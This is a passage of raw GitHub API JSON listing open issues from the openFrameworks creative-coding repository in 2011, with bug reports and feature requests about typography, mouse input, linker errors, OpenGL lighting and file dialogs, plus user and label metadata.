ull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"it should be only in the implementations and queried by the grabber/player in case an implementation doesn't support a format if not the app can crash or have really weird results"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/400","id":532096,"number":400,"title":"ofTTF should have setAnchorPercent so you can draw strings centered, right aligned etc","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-17T16:37:42Z","updated_at":"2011-01-17T16:37:42Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/391","id":529705,"number":391,"title":"ofGetPreviousMouseX/Y() does not update per frame","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-16T07:21:15Z","updated_at":"2011-03-20T17:33:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"every frame, it should update the pmouse value. so if you don't move the mouse, the pmouse value is equal to the current value."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/389","id":529700,"number":389,"title":"mouse position doesn't update until mouse is moved","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-16T07:11:53Z","updated_at":"2011-03-20T17:32:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"this is a limitation to glut, but it might be hackable on each system separately."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/387","id":529646,"number":387,"title":"Linker error when loading image (Poco::Net related?)","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-16T05:57:51Z","updated_at":"2011-03-13T21:10:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"following error appears when i try to load an image; commenting out the call to loadImage(\"...\") makes the error go away.\n\n Undefined symbols:\n \"std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, int)\", \n referenced from:\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n\nld: symbol(s) not found\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/357","id":527591,"number":357,"title":"glDrawBitmapString vs GL_LIGHTING","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-14T19:30:31Z","updated_at":"2011-01-14T19:30:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"glDrawBitmapString doesn't work when GL_LIGHTING is enabled.\r\n\r\nwell, it works... but it is black because it isn't reflecting any light. regardless of the ofSetColor."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/347","id":526094,"number":347,"title":"none of the core functions report how many dimensions they work for","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-14T01:33:38Z","updated_at":"2011-01-14T01:33:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"some of the core functions only work with 2d points, others only with 3d points, some work with both. but they all take ofPoints.\r\n\r\nit's good for teaching purposes to have ofPoints because you don't have to explain what a 'vector' is, but it's unclear for advanced users whether the functions take 2d or 3d points..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/340","id":524875,"number":340,"title":"OF wrapper for basic gl functions that aren't intuitive to newbies","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-13T16:16:40Z","updated_at":"2011-01-13T16:16:40Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"e.g., GL_DEPTH_TEST.\r\n\r\none of the reasons for this is that it's not obvious to newbies what common features are available.\r\n\r\nanother is that i've seen lots of people write GL_DEPTH instead, which obviously doesn't work.\r\n\r\nthere might be some others too, see processing's hint():\r\n\r\nhttp://processing.org/reference/hint_.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/337","id":523837,"number":337,"title":"ofFileDialog allow folder selection ( works on os x ) needs code for win and linux","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":7,"created_at":"2011-01-13T05:21:53Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/324","id":522231,"number":324,"title":"ofPushView/ofPopView appear before ofPushMatrix/ofPopMatrix","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-12T15:34:48Z","updated_at":"2011-01-12T15:34:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ordering for code completion is a little weird."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/311","id":518434,"number":311,"title":"openFrameworksLib has ofQtUtils included twice","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-10T22:30:48Z","updated_at":"2011-01-10T22:30:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"under the /video directory"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/305","id":516844,"number":305,"title":"no implementation in ofBaseTypes","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-10T06:36:27Z","updated_at":"2011-01-10T06:36:27Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"better to use aggregation (helper classes/functions) if necessary for common functionality that have implementation in those classes. making them pure abstract classes will avoid problems with multiple inheritance and easier to extend in case of different behaviour"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/302","id":516565,"number":302,"title":"Remove Poco CppUnit from all projects ( done on os x )","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":3,"created_at":"2011-01-10T02:39:28Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/298","id":516559,"number":298,"title":"Update Freetype to latest versions. 